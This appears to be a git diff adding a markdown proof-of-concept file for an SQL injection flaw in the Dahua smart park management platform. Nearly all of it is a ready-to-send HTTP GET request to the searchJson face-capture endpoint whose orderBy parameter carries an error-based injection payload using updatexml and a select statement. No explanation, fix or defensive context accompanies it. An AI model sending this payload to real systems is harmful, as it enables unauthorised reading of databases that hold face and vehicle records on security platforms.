diff --git a/大华智慧园区综合管理平台 searchJson SQL注入漏洞.md b/大华智慧园区综合管理平台 searchJson SQL注入漏洞.md
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+## 大华智慧园区综合管理平台 searchJson SQL注入漏洞
+```
+GET /portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221%20and%201=updatexml(1,concat(0x7e,(select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D HTTP/1.1
+Host: 127.0.0.1:7443
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+Accept-Encoding: gzip, deflate
+Connection: close
+```